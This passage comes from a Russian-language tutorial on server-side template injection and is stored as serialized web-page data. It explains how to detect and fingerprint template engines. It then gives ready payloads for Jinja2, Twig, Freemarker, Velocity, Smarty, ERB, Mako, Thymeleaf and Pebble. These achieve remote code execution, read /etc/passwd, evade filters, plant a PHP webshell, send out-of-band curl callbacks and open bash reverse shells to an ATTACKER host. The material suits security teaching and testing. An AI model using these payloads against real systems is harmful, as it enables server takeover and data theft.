сервере",[2283,4165,4166,4171,4174],{},[2298,4167,4168],{},[637,4169,4170],{},"Язык",[2298,4172,4173],{},"JavaScript",[2298,4175,4176],{},"Python, PHP, Java, Ruby...",[2283,4178,4179,4184,4187],{},[2298,4180,4181],{},[637,4182,4183],{},"Доступ",[2298,4185,4186],{},"DOM, cookies, localStorage",[2298,4188,4189],{},"Файлы, ОС, БД, сеть",[2283,4191,4192,4197,4200],{},[2298,4193,4194],{},[637,4195,4196],{},"Максимальный импакт",[2298,4198,4199],{},"Угон сессии, фишинг",[2298,4201,4202],{},[637,4203,4204],{},"RCE — полный контроль сервера",[2283,4206,4207,4211,4214],{},[2298,4208,4209],{},[637,4210,3652],{},[2298,4212,4213],{},"Medium-High",[2298,4215,4216],{},[637,4217,4218],{},"High-Critical",[21,4220,4221],{},"Внешне могут выглядеть похоже (ввод отражается на странице), но SSTI на порядок опаснее.",[1997,4223],{},[16,4225,4227],{"id":4226},"_3-шаблонизаторы-кто-есть-кто","3. Шаблонизаторы: кто есть кто",[36,4229,4231],{"id":4230},"основные-движки-по-языкам","Основные движки по языкам",[2277,4233,4234,4249],{},[2280,4235,4236],{},[2283,4237,4238,4240,4243,4246],{},[2286,4239,4170],{},[2286,4241,4242],{},"Движок",[2286,4244,4245],{},"Синтаксис",[2286,4247,4248],{},"Опасность",[2293,4250,4251,4272,4292,4314,4335,4361,4381,4398,4415,4433,4449,4465,4481],{},[2283,4252,4253,4258,4261,4269],{},[2298,4254,4255],{},[637,4256,4257],{},"Python",[2298,4259,4260],{},"Jinja2",[2298,4262,4263,2237,4266],{},[48,4264,4265],{},"{{ }}",[48,4267,4268],{},"{% %}",[2298,4270,4271],{},"Высокая — MRO цепочки",[2283,4273,4274,4278,4281,4289],{},[2298,4275,4276],{},[637,4277,4257],{},[2298,4279,4280],{},"Mako",[2298,4282,4283,2237,4286],{},[48,4284,4285],{},"${  }",[48,4287,4288],{},"\u003C% %>",[2298,4290,4291],{},"Очень высокая — прямой Python",[2283,4293,4294,4299,4302,4308],{},[2298,4295,4296],{},[637,4297,4298],{},"PHP",[2298,4300,4301],{},"Twig",[2298,4303,4304,2237,4306],{},[48,4305,4265],{},[48,4307,4268],{},[2298,4309,4310,4311],{},"Высокая — фильтры, ",[48,4312,4313],{},"_self",[2283,4315,4316,4320,4323,4328],{},[2298,4317,4318],{},[637,4319,4298],{},[2298,4321,4322],{},"Smarty",[2298,4324,4325],{},[48,4326,4327],{},"{  }",[2298,4329,4330,4331,4334],{},"Высокая — ",[48,4332,4333],{},"{php}"," тег (старые версии)",[2283,4336,4337,4342,4345,4352],{},[2298,4338,4339],{},[637,4340,4341],{},"Java",[2298,4343,4344],{},"Freemarker",[2298,4346,4347,2237,4349],{},[48,4348,4285],{},[48,4350,4351],{},"\u003C#  >",[2298,4353,4354,4355,973,4358],{},"Очень высокая — ",[48,4356,4357],{},"Execute",[48,4359,4360],{},"ObjectConstructor",[2283,4362,4363,4367,4370,4378],{},[2298,4364,4365],{},[637,4366,4341],{},[2298,4368,4369],{},"Velocity",[2298,4371,4372,2237,4375],{},[48,4373,4374],{},"$var",[48,4376,4377],{},"#set()",[2298,4379,4380],{},"Высокая — рефлексия",[2283,4382,4383,4387,4390,4395],{},[2298,4384,4385],{},[637,4386,4341],{},[2298,4388,4389],{},"Thymeleaf",[2298,4391,4392,4394],{},[48,4393,4285],{}," в атрибутах",[2298,4396,4397],{},"Высокая — SpEL-инъекции",[2283,4399,4400,4404,4407,4413],{},[2298,4401,4402],{},[637,4403,4341],{},[2298,4405,4406],{},"Pebble",[2298,4408,4409,2237,4411],{},[48,4410,4265],{},[48,4412,4268],{},[2298,4414,4380],{},[2283,4416,4417,4422,4425,4430],{},[2298,4418,4419],{},[637,4420,4421],{},"Ruby",[2298,4423,4424],{},"ERB",[2298,4426,4427],{},[48,4428,4429],{},"\u003C%= %>",[2298,4431,4432],{},"Очень высокая — прямой Ruby",[2283,4434,4435,4440,4443,4446],{},[2298,4436,4437],{},[637,4438,4439],{},"JS\u002FNode",[2298,4441,4442],{},"Pug (Jade)",[2298,4444,4445],{},"отступы",[2298,4447,4448],{},"Высокая",[2283,4450,4451,4455,4458,4462],{},[2298,4452,4453],{},[637,4454,4439],{},[2298,4456,4457],{},"Handlebars",[2298,4459,4460],{},[48,4461,4265],{},[2298,4463,4464],{},"Низкая — ограниченная логика",[2283,4466,4467,4471,4474,4478],{},[2298,4468,4469],{},[637,4470,4439],{},[2298,4472,4473],{},"EJS",[2298,4475,4476],{},[48,4477,4429],{},[2298,4479,4480],{},"Высокая — прямой JS",[2283,4482,4483,4488,4491,4499],{},[2298,4484,4485],{},[637,4486,4487],{},".NET",[2298,4489,4490],{},"Razor",[2298,4492,4493,2237,4496],{},[48,4494,4495],{},"@( )",[48,4497,4498],{},"@{ }",[2298,4500,4501],{},"Средняя",[36,4503,4505],{"id":4504},"logic-less-vs-logic-full","Logic-less vs Logic-full",[748,4507,4508,4514],{},[333,4509,4510,4513],{},[637,4511,4512],{},"Logic-less"," (Mustache, Handlebars) — минимум логики, SSTI маловероятна",[333,4515,4516,4519,4520],{},[637,4517,4518],{},"Logic-full"," (Jinja2, Twig, Freemarker, ERB, Mako, Pebble) — циклы, вызовы методов, доступ к объектам → ",[637,4521,4522],{},"поверхность атаки",[1997,4524],{},[16,4526,4528],{"id":4527},"_4-обнаружение-ssti","4. Обнаружение SSTI",[36,4530,4532],{"id":4531},"шаг-1-найти-точки-отражения","Шаг 1: Найти точки отражения",[21,4534,4535],{},"Где пользовательский ввод может попасть в шаблон:",[21,4537,4538],{},[637,4539,4540],{},"Очевидные:",[748,4542,4543,4546,4549,4552],{},[333,4544,4545],{},"Отображение имени пользователя, email, профиля",[333,4547,4548],{},"Поисковая строка с отражением: \"Результаты для: X\"",[333,4550,4551],{},"Комментарии, отзывы, сообщения",[333,4553,4554],{},"Кастомизация шаблонов (CMS, email-рассылки, конструкторы)",[21,4556,4557],{},[637,4558,4559],{},"Менее очевидные:",[748,4561,4562,4565,4568,4571,4574,4589],{},[333,4563,4564],{},"Страницы ошибок: \"Страница X не найдена\" (404)",[333,4566,4567],{},"Сообщения об ошибках: \"Неверный параметр: X\"",[333,4569,4570],{},"PDF\u002Femail генерация — данные рендерятся через шаблон",[333,4572,4573],{},"Превью сообщений",[333,4575,4576,4577,973,4580,973,4583,973,4586],{},"Параметры в URL: ",[48,4578,4579],{},"?name=",[48,4581,4582],{},"?message=",[48,4584,4585],{},"?greeting=",[48,4587,4588],{},"?template=",[333,4590,4591,4592,973,4594,4596],{},"Заголовки HTTP (редко): ",[48,4593,2240],{},[48,4595,2230],{}," подставляются в шаблон",[36,4598,4600],{"id":4599},"шаг-2-отличить-ssti-от-простого-отражения","Шаг 2: Отличить SSTI от простого отражения",[21,4602,4603,4604,4607],{},"Подставь ",[637,4605,4606],{},"математическое выражение"," в синтаксисе шаблонизатора:",[41,4609,4612],{"className":4610,"code":4611,"language":46},[44],"Ввод: {{7*7}}\nЕсли в ответе \"49\" → шаблонизатор вычислил → SSTI\nЕсли в ответе \"{{7*7}}\" → просто отражение → не SSTI\n",[48,4613,4611],{"__ignoreMap":50},[21,4615,4616,4617,4619],{},"Но ",[48,4618,717],{}," — не единственный синтаксис! Пробуй разные:",[41,4621,4624],{"className":4622,"code":4623,"language":46},[44],"{{7*7}}          — Jinja2, Twig, Handlebars\n${7*7}           — Freemarker, Mako, Thymeleaf\n#{7*7}           — Thymeleaf (Spring), Ruby\n\u003C%= 7*7 %>       — ERB, EJS\n{7*7}            — Smarty\n#set($x=7*7)$x  — Velocity\n",[48,4625,4623],{"__ignoreMap":50},[36,4627,4629],{"id":4628},"polyglot-payload","Polyglot payload",[21,4631,4632],{},"Универсальный детектор, покрывающий большинство движков:",[41,4634,4637],{"className":4635,"code":4636,"language":46},[44],"${{\u003C%[%'\"}}%\\\n",[48,4638,4636],{"__ignoreMap":50},[21,4640,4641],{},"Почему работает:",[748,4643,4644,4657,4663,4669,4675],{},[333,4645,4646,4649,4650,4653,4654,1002],{},[48,4647,4648],{},"${{"," — триггерит Freemarker\u002FMako (",[48,4651,4652],{},"${...}",") и Jinja2\u002FTwig (",[48,4655,4656],{},"{{...}}",[333,4658,4659,4662],{},[48,4660,4661],{},"\u003C%"," — ERB\u002FEJS\u002FJSP",[333,4664,4665,4668],{},[48,4666,4667],{},"[%"," — Perl Template Toolkit",[333,4670,4671,4674],{},[48,4672,4673],{},"'\""," — вызывает ошибку парсера при незакрытых строках",[333,4676,4677,4680],{},[48,4678,4679],{},"}}%\\"," — закрывающие конструкции разных движков",[21,4682,4683],{},"Цель: вызвать ошибку парсера, подтверждая наличие template engine. Если сервер вернул 500 с stack trace — шаблонизатор есть.",[36,4685,4687],{"id":4686},"ssti-через-host-header","SSTI через Host header",[21,4689,4690,4691,4693],{},"Некоторые приложения подставляют заголовок ",[48,4692,2240],{}," в шаблон для генерации ссылок (например, password reset emails):",[41,4695,4698],{"className":4696,"code":4697,"language":46},[44],"Host: {{7*7}}.evil.com\n",[48,4699,4697],{"__ignoreMap":50},[21,4701,4702,4703,4706],{},"Если в email'е появится ",[48,4704,4705],{},"49.evil.com"," — SSTI через Host header. Встречается в Django, Flask, Ruby on Rails при некорректной конфигурации.",[36,4708,4710],{"id":4709},"шаг-3-дерево-решений-portswigger-определение-движка","Шаг 3: Дерево решений PortSwigger (определение движка)",[21,4712,4713,4714,4717],{},"Это ",[637,4715,4716],{},"ключевая методология"," — последовательная подстановка payload'ов:",[41,4719,4722],{"className":4720,"code":4721,"language":46},[44],"                        ${7*7}\n                       \u002F       \\\n                   49            a]${7*7}\n                  \u002F                    \\\n              ${7*7} работает       #{7*7}\n             (Java\u002FPython)              \\\n                 |                    49 → Thymeleaf \u002F Ruby\n            {{7*7}}                  не 49 → неизвестный\n           \u002F       \\\n        49          ошибка\u002Fничего\n       \u002F                \\\n  {{7*'7'}}          не этот синтаксис\n  \u002F         \\          → пробуй другие\n7777777      49\n  |           |\nJinja2      Twig\n\n\nПолное дерево:\n\n1. Подставь  {{7*7}}\n   → 49? ─────── Да ──→ 2. Подставь {{7*'7'}}\n   │                         → \"7777777\"? ── Да ──→ Jinja2 (Python)\n   │                         → \"49\"? ─────── Да ──→ Twig (PHP)\n   │\n   └── Нет ──→ 3. Подставь ${7*7}\n                    → 49? ─── Да ──→ 4. Подставь ${class.getClass()}\n                    │                     → ответ? ── Да ──→ Java (Freemarker\u002FVelocity)\n                    │                     → ошибка? ─ Да ──→ Mako (Python)\n                    │\n                    └── Нет ──→ 5. Подставь \u003C%= 7*7 %>\n                                    → 49? ── Да ──→ ERB (Ruby) \u002F EJS (Node)\n                                    │\n                                    └── Нет ──→ 6. Подставь {7*7}\n                                                    → 49? ── Да ──→ Smarty (PHP)\n                                                    └── Нет ──→ другой движок\n",[48,4723,4721],{"__ignoreMap":50},[36,4725,4727,4728],{"id":4726},"ключевой-payload-77","Ключевой payload: ",[48,4729,746],{},[21,4731,4732,4733,4736,4737,4739],{},"Зачем: ",[637,4734,4735],{},"различает Jinja2 и Twig"," (оба используют ",[48,4738,4265],{},"):",[2277,4741,4742,4755],{},[2280,4743,4744],{},[2283,4745,4746,4749,4752],{},[2286,4747,4748],{},"Payload",[2286,4750,4751],{},"Jinja2 (Python)",[2286,4753,4754],{},"Twig (PHP)",[2293,4756,4757],{},[2283,4758,4759,4763,4772],{},[2298,4760,4761],{},[48,4762,746],{},[2298,4764,4765,4767,4768,4771],{},[48,4766,757],{}," (Python: ",[48,4769,4770],{},"\"7\" * 7"," = повтор строки)",[2298,4773,4774,4776],{},[48,4775,735],{}," (PHP: строка приводится к числу)",[1997,4778],{},[16,4780,4782],{"id":4781},"_5-sandbox-escape-ключевая-концепция","5. Sandbox Escape — ключевая концепция",[36,4784,4786],{"id":4785},"что-такое-sandbox","Что такое sandbox",[21,4788,4789],{},"Шаблонизатор намеренно ограничивает доступный функционал:",[748,4791,4792,4797,4807,4810],{},[333,4793,4794,4795],{},"Нет ",[48,4796,798],{},[333,4798,4794,4799,973,4802,973,4805],{},[48,4800,4801],{},"eval",[48,4803,4804],{},"exec",[48,4806,976],{},[333,4808,4809],{},"Нет доступа к файловой системе",[333,4811,4812],{},"Только переменные, переданные в шаблон",[21,4814,4815,4818,4819,4822],{},[637,4816,4817],{},"Sandbox escape"," — это поиск пути ",[637,4820,4821],{},"обойти эти ограничения",", оставаясь внутри шаблона.",[36,4824,4826,4827],{"id":4825},"почему-нельзя-просто-import-os-ossystemid","Почему нельзя просто ",[48,4828,4829],{},"{{ import os; os.system(\"id\") }}",[21,4831,4832,4833,4836,4837,4840,4841,4843],{},"Шаблонизатор ",[637,4834,4835],{},"не выполняет произвольный код языка",". Он выполняет только ",[637,4838,4839],{},"выражения в своём синтаксисе",". ",[48,4842,798],{}," — это statement Python, не выражение Jinja2. Шаблонизатор его не понимает.",[21,4845,4846,4847,4850],{},"Но шаблонизатор умеет ",[637,4848,4849],{},"обращаться к атрибутам объектов"," — и этого достаточно для побега.",[1997,4852],{},[16,4854,4856],{"id":4855},"_6-эксплуатация-по-движкам","6. Эксплуатация по движкам",[36,4858,4860],{"id":4859},"_61-jinja2-python-mro-цепочки","6.1 Jinja2 (Python) — MRO-цепочки",[21,4862,4863,4866,4867,4869],{},[637,4864,4865],{},"MRO (Method Resolution Order)"," — цепочка наследования классов в Python. Каждый объект → его класс → базовый ",[48,4868,1011],{}," → все подклассы → опасные классы.",[21,4871,4872],{},[637,4873,4874],{},"Цепочка по шагам:",[41,4876,4878],{"className":4070,"code":4877,"language":1144,"meta":50,"style":50},"# 1. Берём любой доступный объект (строка, число, список)\n\"\"\n\n# 2. Получаем его класс\n\"\".__class__                        → \u003Cclass 'str'>\n\n# 3. Поднимаемся к базовому классу object через MRO\n\"\".__class__.__mro__                → (\u003Cclass 'str'>, \u003Cclass 'object'>)\n\"\".__class__.__mro__[1]             → \u003Cclass 'object'>\n\n# 4. Получаем ВСЕ подклассы object (сотни!)\n\"\".__class__.__mro__[1].__subclasses__()\n# → [..., \u003Cclass 'subprocess.Popen'>, \u003Cclass 'os._wrap_close'>, ...]\n\n# 5. Находим нужный класс по индексу и вызываем\n\"\".__class__.__mro__[1].__subclasses__()[ИНДЕКС](\"id\", shell=True)\n",[48,4879,4880,4885,4890,4894,4899,4904,4908,4913,4918,4923,4927,4932,4937,4942,4946,4951],{"__ignoreMap":50},[308,4881,4882],{"class":310,"line":311},[308,4883,4884],{},"# 1. Берём любой доступный объект (строка, число, список)\n",[308,4886,4887],{"class":310,"line":98},[308,4888,4889],{},"\"\"\n",[308,4891,4892],{"class":310,"line":104},[308,4893,1636],{"emptyLinePlaceholder":112},[308,4895,4896],{"class":310,"line":1327},[308,4897,4898],{},"# 2. Получаем его класс\n",[308,4900,4901],{"class":310,"line":1336},[308,4902,4903],{},"\"\".__class__                        → \u003Cclass 'str'>\n",[308,4905,4906],{"class":310,"line":1349},[308,4907,1636],{"emptyLinePlaceholder":112},[308,4909,4910],{"class":310,"line":1360},[308,4911,4912],{},"# 3. Поднимаемся к базовому классу object через MRO\n",[308,4914,4915],{"class":310,"line":1366},[308,4916,4917],{},"\"\".__class__.__mro__                → (\u003Cclass 'str'>, \u003Cclass 'object'>)\n",[308,4919,4920],{"class":310,"line":1452},[308,4921,4922],{},"\"\".__class__.__mro__[1]             → \u003Cclass 'object'>\n",[308,4924,4925],{"class":310,"line":1465},[308,4926,1636],{"emptyLinePlaceholder":112},[308,4928,4929],{"class":310,"line":1478},[308,4930,4931],{},"# 4. Получаем ВСЕ подклассы object (сотни!)\n",[308,4933,4934],{"class":310,"line":1491},[308,4935,4936],{},"\"\".__class__.__mro__[1].__subclasses__()\n",[308,4938,4939],{"class":310,"line":1502},[308,4940,4941],{},"# → [..., \u003Cclass 'subprocess.Popen'>, \u003Cclass 'os._wrap_close'>, ...]\n",[308,4943,4944],{"class":310,"line":1507},[308,4945,1636],{"emptyLinePlaceholder":112},[308,4947,4948],{"class":310,"line":1515},[308,4949,4950],{},"# 5. Находим нужный класс по индексу и вызываем\n",[308,4952,4953],{"class":310,"line":1525},[308,4954,4955],{},"\"\".__class__.__mro__[1].__subclasses__()[ИНДЕКС](\"id\", shell=True)\n",[21,4957,4958],{},[637,4959,4960],{},"Визуально:",[41,4962,4965],{"className":4963,"code":4964,"language":46},[44],"\"\" (строка)\n └── __class__ → str\n      └── __mro__ → [str, object]\n           └── object\n                └── __subclasses__() → [list, dict, ..., subprocess.Popen, ...]\n                     └── Popen(\"id\", shell=True) → RCE!\n",[48,4966,4964],{"__ignoreMap":50},[21,4968,4969],{},[637,4970,4971],{},"Готовые payload'ы для Jinja2:",[21,4973,4974],{},"Чтение файлов:",[41,4976,4979],{"className":4977,"code":4978,"language":46},[44],"{{ \"\".__class__.__mro__[1].__subclasses__()[ИНДЕКС](\"\u002Fetc\u002Fpasswd\").read() }}\n",[48,4980,4978],{"__ignoreMap":50},[21,4982,4983],{},"RCE через subprocess.Popen:",[41,4985,4988],{"className":4986,"code":4987,"language":46},[44],"{{ \"\".__class__.__mro__[1].__subclasses__()[INDEX](\"id\", shell=True, stdout=-1).communicate() }}\n",[48,4989,4987],{"__ignoreMap":50},[21,4991,4992],{},"RCE через config\u002Frequest (если доступны объекты Flask):",[41,4994,4997],{"className":4995,"code":4996,"language":46},[44],"{{ config.__class__.__init__.__globals__['os'].popen('id').read() }}\n{{ request.application.__self__._get_data_for_json.__globals__['json'].JSONEncoder.default.__init__.__globals__['os'].popen('id').read() }}\n",[48,4998,4996],{"__ignoreMap":50},[21,5000,5001],{},"RCE через cycler (Jinja2 >= 2.11, не нужен Flask):",[41,5003,5006],{"className":5004,"code":5005,"language":46},[44],"{{ cycler.__init__.__globals__.os.popen('id').read() }}\n{{ joiner.__init__.__globals__.os.popen('id').read() }}\n{{ namespace.__init__.__globals__.os.popen('id').read() }}\n",[48,5007,5005],{"__ignoreMap":50},[21,5009,5010],{},[637,5011,5012],{},"Как найти нужный индекс подкласса:",[21,5014,5015,5016,5019],{},"Индекс ",[48,5017,5018],{},"subprocess.Popen"," (или другого опасного класса) отличается на разных системах. Поиск:",[41,5021,5024],{"className":5022,"code":5023,"language":46},[44],"# Вывести все подклассы и найти нужный вручную:\n{{ \"\".__class__.__mro__[1].__subclasses__() }}\n\n# Или использовать цикл:\n{% for cls in \"\".__class__.__mro__[1].__subclasses__() %}\n  {% if cls.__name__ == 'Popen' %}\n    {{ loop.index0 }}\n  {% endif %}\n{% endfor %}\n",[48,5025,5023],{"__ignoreMap":50},[36,5027,5029],{"id":5028},"обход-waf-фильтров-в-jinja2","Обход WAF \u002F фильтров в Jinja2",[21,5031,5032,5033,973,5035,973,5037,973,5040,973,5043,5046],{},"Если фильтруются ",[48,5034,2396],{},[48,5036,426],{},[48,5038,5039],{},"[",[48,5041,5042],{},"]",[48,5044,5045],{},"class"," и т.д.:",[41,5048,5051],{"className":5049,"code":5050,"language":46},[44],"# Через attr() фильтр (обход точки и подчёркиваний)\n{{ \"\"| attr(\"__class__\") | attr(\"__mro__\") }}\n\n# Через request.args (обход фильтрации строк)\n{{ \"\".__class__.__mro__[1].__subclasses__()[request.args.i|int](request.args.cmd,shell=True,stdout=-1).communicate() }}\n# URL: ?i=INDEX&cmd=id\n\n# Hex-кодирование строк\n{{ \"\"[\"\\x5f\\x5fclass\\x5f\\x5f\"] }}   ← \\x5f = _\n\n# Через dict и join\n{{ dict(__cla=1,ss__=1)|join }}      → \"__class__\"\n\n# Через format string\n{{ \"%c%c%c%c%c%c%c%c%c\"|format(95,95,99,108,97,115,115,95,95) }}\n",[48,5052,5050],{"__ignoreMap":50},[36,5054,5056],{"id":5055},"_62-twig-php","6.2 Twig (PHP)",[21,5058,5059],{},[637,5060,5061],{},"Twig 1.x (старый — прямой путь к RCE):",[41,5063,5066],{"className":5064,"code":5065,"language":46},[44],"{{ _self.env.registerUndefinedFilterCallback(\"exec\") }}\n{{ _self.env.getFilter(\"id\") }}\n",[48,5067,5065],{"__ignoreMap":50},[21,5069,5070],{},[637,5071,5072],{},"Twig 2.x \u002F 3.x:",[41,5074,5077],{"className":5075,"code":5076,"language":46},[44],"{{ ['id'] | filter('system') }}\n{{ ['cat \u002Fetc\u002Fpasswd'] | filter('exec') }}\n{{ app.request.server.get('DOCUMENT_ROOT') }}\n",[48,5078,5076],{"__ignoreMap":50},[21,5080,5081],{},[637,5082,4974],{},[41,5084,5087],{"className":5085,"code":5086,"language":46},[44],"{{ source('\u002Fetc\u002Fpasswd') }}\n{{ include('\u002Fetc\u002Fpasswd') }}\n",[48,5088,5086],{"__ignoreMap":50},[21,5090,5091],{},[637,5092,5093],{},"Через map:",[41,5095,5098],{"className":5096,"code":5097,"language":46},[44],"{{ ['id'] | map('system') | join }}\n{{ ['id'] | sort('system') | join }}\n",[48,5099,5097],{"__ignoreMap":50},[36,5101,5103],{"id":5102},"_63-freemarker-java","6.3 Freemarker (Java)",[21,5105,5106,5107,5110],{},"Один из самых опасных — есть ",[637,5108,5109],{},"встроенные"," средства выполнения кода:",[21,5112,5113],{},[637,5114,5115],{},"Execute (прямой RCE):",[41,5117,5120],{"className":5118,"code":5119,"language":46},[44],"\u003C#assign ex = \"freemarker.template.utility.Execute\"?new()>\n${ex(\"id\")}\n",[48,5121,5119],{"__ignoreMap":50},[21,5123,5124],{},[637,5125,5126],{},"ObjectConstructor:",[41,5128,5131],{"className":5129,"code":5130,"language":46},[44],"\u003C#assign obj = \"freemarker.template.utility.ObjectConstructor\"?new()>\n${obj(\"java.lang.Runtime\").getRuntime().exec(\"id\")}\n",[48,5132,5130],{"__ignoreMap":50},[21,5134,5135],{},[637,5136,4974],{},[41,5138,5141],{"className":5139,"code":5140,"language":46},[44],"${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve(\"\u002Fetc\u002Fpasswd\").toURL().openStream().readAllBytes()?join(\" \")}\n",[48,5142,5140],{"__ignoreMap":50},[36,5144,5146],{"id":5145},"_64-velocity-java","6.4 Velocity (Java)",[41,5148,5151],{"className":5149,"code":5150,"language":46},[44],"#set($runtime = $class.inspect(\"java.lang.Runtime\"))\n#set($getRuntime = $runtime.getMethod(\"getRuntime\", null))\n#set($rt = $getRuntime.invoke(null, null))\n#set($exec = $rt.exec(\"id\"))\n$exec.waitFor()\n",[48,5152,5150],{"__ignoreMap":50},[21,5154,5155],{},"Или короче:",[41,5157,5160],{"className":5158,"code":5159,"language":46},[44],"#set($ex = $class.inspect(\"java.lang.Runtime\").type.getRuntime().exec(\"id\"))\n$ex.waitFor()\n#set($result = $ex.inputStream)\n",[48,5161,5159],{"__ignoreMap":50},[36,5163,5165],{"id":5164},"_65-smarty-php","6.5 Smarty (PHP)",[21,5167,5168],{},[637,5169,5170],{},"Старые версии (\u003C 3):",[41,5172,5175],{"className":5173,"code":5174,"language":46},[44],"{php}system('id');{\u002Fphp}\n",[48,5176,5174],{"__ignoreMap":50},[21,5178,5179],{},[637,5180,5181],{},"Новые версии:",[41,5183,5186],{"className":5184,"code":5185,"language":46},[44],"{system('id')}\n{Smarty_Internal_Write_File::writeFile('\u002Fvar\u002Fwww\u002Fhtml\u002Fshell.php','\u003C?php system($_GET[\"cmd\"]); ?>',self::clearConfig())}\n",[48,5187,5185],{"__ignoreMap":50},[36,5189,5191],{"id":5190},"_66-erb-ruby","6.6 ERB (Ruby)",[21,5193,5194,5195,5198],{},"ERB даёт ",[637,5196,5197],{},"прямой доступ к Ruby"," — sandbox'а практически нет:",[41,5200,5204],{"className":5201,"code":5202,"language":5203,"meta":50,"style":50},"language-erb shiki shiki-themes github-light github-dark","\u003C%= system(\"id\") %>\n\u003C%= `id` %>\n\u003C%= IO.popen(\"id\").read() %>\n\u003C%= File.read(\"\u002Fetc\u002Fpasswd\") %>\n","erb",[48,5205,5206,5211,5216,5221],{"__ignoreMap":50},[308,5207,5208],{"class":310,"line":311},[308,5209,5210],{},"\u003C%= system(\"id\") %>\n",[308,5212,5213],{"class":310,"line":98},[308,5214,5215],{},"\u003C%= `id` %>\n",[308,5217,5218],{"class":310,"line":104},[308,5219,5220],{},"\u003C%= IO.popen(\"id\").read() %>\n",[308,5222,5223],{"class":310,"line":1327},[308,5224,5225],{},"\u003C%= File.read(\"\u002Fetc\u002Fpasswd\") %>\n",[36,5227,5229],{"id":5228},"_67-mako-python","6.7 Mako (Python)",[21,5231,5232],{},"Аналогично — прямой Python:",[41,5234,5237],{"className":5235,"code":5236,"language":46},[44],"${__import__(\"os\").popen(\"id\").read()}\n\u003C% import os; os.system(\"id\") %>\n",[48,5238,5236],{"__ignoreMap":50},[36,5240,5242],{"id":5241},"_68-thymeleaf-java-spring","6.8 Thymeleaf (Java \u002F Spring)",[21,5244,5245],{},"Инъекция через Spring Expression Language (SpEL):",[41,5247,5250],{"className":5248,"code":5249,"language":46},[44],"${T(java.lang.Runtime).getRuntime().exec('id')}\n__${T(java.lang.Runtime).getRuntime().exec('id')}__::.x\n",[48,5251,5249],{"__ignoreMap":50},[21,5253,5254,5255,5261],{},"Thymeleaf может быть уязвим даже ",[637,5256,5257,5258],{},"без ",[48,5259,5260],{},"${ }"," — через имена view:",[41,5263,5266],{"className":5264,"code":5265,"language":46},[44],"GET \u002Fpath\u002F__${T(java.lang.Runtime).getRuntime().exec('id')}__::.x\n",[48,5267,5265],{"__ignoreMap":50},[36,5269,5271],{"id":5270},"_69-pebble-java-spring","6.9 Pebble (Java \u002F Spring)",[21,5273,5274,5275,2237,5277,923],{},"Набирающий популярность Java-движок. Синтаксис похож на Twig (",[48,5276,4265],{},[48,5278,4268],{},[21,5280,5281],{},[637,5282,5283],{},"Обнаружение:",[41,5285,5288],{"className":5286,"code":5287,"language":46},[44],"{{ \"test\".toUpperCase() }}    → TEST\n",[48,5289,5287],{"__ignoreMap":50},[21,5291,5292],{},[637,5293,5294],{},"RCE:",[41,5296,5299],{"className":5297,"code":5298,"language":46},[44],"{% set cmd = 'id' %}\n{% set bytes = (1).TYPE.forName('java.lang.Runtime').methods[6].invoke(null,null).exec(cmd) %}\n{{ bytes.inputStream.text }}\n",[48,5300,5298],{"__ignoreMap":50},[21,5302,5303],{},[637,5304,5305],{},"Через рефлексию:",[41,5307,5310],{"className":5308,"code":5309,"language":46},[44],"{{ variable.getClass().forName('java.lang.Runtime').getRuntime().exec('id') }}\n",[48,5311,5309],{"__ignoreMap":50},[1997,5313],{},[16,5315,5317],{"id":5316},"_7-blind-ssti","7. Blind SSTI",[21,5319,5320,5321,5324],{},"Если результат выражения ",[637,5322,5323],{},"не виден"," в ответе:",[36,5326,2308],{"id":5327},"тайминг",[41,5329,5332],{"className":5330,"code":5331,"language":46},[44],"# Jinja2 — тяжёлое вычисление\n{{ range(100000000)|list }}\n\n# Или sleep через RCE\n{{ \"\".__class__.__mro__[1].__subclasses__()[IDX](\"sleep 5\", shell=True) }}\n",[48,5333,5331],{"__ignoreMap":50},[21,5335,5336],{},"Если ответ задерживается → SSTI подтверждена.",[36,5338,5340],{"id":5339},"oob-out-of-band","OOB (Out-of-Band)",[41,5342,5345],{"className":5343,"code":5344,"language":46},[44],"# Jinja2 — DNS\u002FHTTP callback\n{{ \"\".__class__.__mro__[1].__subclasses__()[IDX](\"curl http:\u002F\u002FCOLLABORATOR\", shell=True) }}\n{{ \"\".__class__.__mro__[1].__subclasses__()[IDX](\"nslookup COLLABORATOR\", shell=True) }}\n\n# Freemarker\n\u003C#assign ex=\"freemarker.template.utility.Execute\"?new()>\n${ex(\"curl http:\u002F\u002FCOLLABORATOR\u002F$(id)\")}\n\n# Twig\n{{ ['curl http:\u002F\u002FCOLLABORATOR'] | filter('system') }}\n",[48,5346,5344],{"__ignoreMap":50},[21,5348,5349,5350,795,5352,5354],{},"Используй ",[637,5351,3724],{},[637,5353,3734],{}," для приёма callback'ов.",[1997,5356],{},[16,5358,5360],{"id":5359},"_8-ssti-rce-цепочка","8. SSTI → RCE: цепочка",[21,5362,5363,5364,215],{},"В отличие от XXE (чтение файлов) или SSRF (запросы), SSTI даёт ",[637,5365,5366],{},"прямой путь к RCE",[41,5368,5371],{"className":5369,"code":5370,"language":46},[44],"Обнаружение        → {{7*7}} = 49\nИдентификация      → {{7*'7'}} = 7777777 → Jinja2\nSandbox escape     → MRO-цепочка к subprocess.Popen\nRCE                → id, cat \u002Fetc\u002Fpasswd, reverse shell\n",[48,5372,5370],{"__ignoreMap":50},[21,5374,5375,5378],{},[637,5376,5377],{},"Всё в одном HTTP-запросе."," Не нужен ни webshell, ни внешний сервер, ни запись файлов.",[36,5380,5382],{"id":5381},"reverse-shell-через-ssti","Reverse shell через SSTI",[41,5384,5387],{"className":5385,"code":5386,"language":46},[44],"# Jinja2\n{{ \"\".__class__.__mro__[1].__subclasses__()[IDX](\"bash -c 'bash -i >& \u002Fdev\u002Ftcp\u002FATTACKER\u002FPORT 0>&1'\", shell=True) }}\n\n# Freemarker\n\u003C#assign ex=\"freemarker.template.utility.Execute\"?new()>\n${ex(\"bash -c 'bash -i >& \u002Fdev\u002Ftcp\u002FATTACKER\u002FPORT 0>&1'\")}\n\n# ERB\n\u003C%= system(\"bash -c 'bash -i >& \u002Fdev\u002Ftcp\u002FATTACKER\u002FPORT 0>&1'\") %>\n",[48,5388,5386],{"__ignoreMap":50},[1997,5390],{},[16,5392,3241],{"id":3240},[21,5394,5395],{},"SSTI редко существует в изоляции. Понимание связок позволяет эскалировать импакт или обнаружить SSTI через смежные 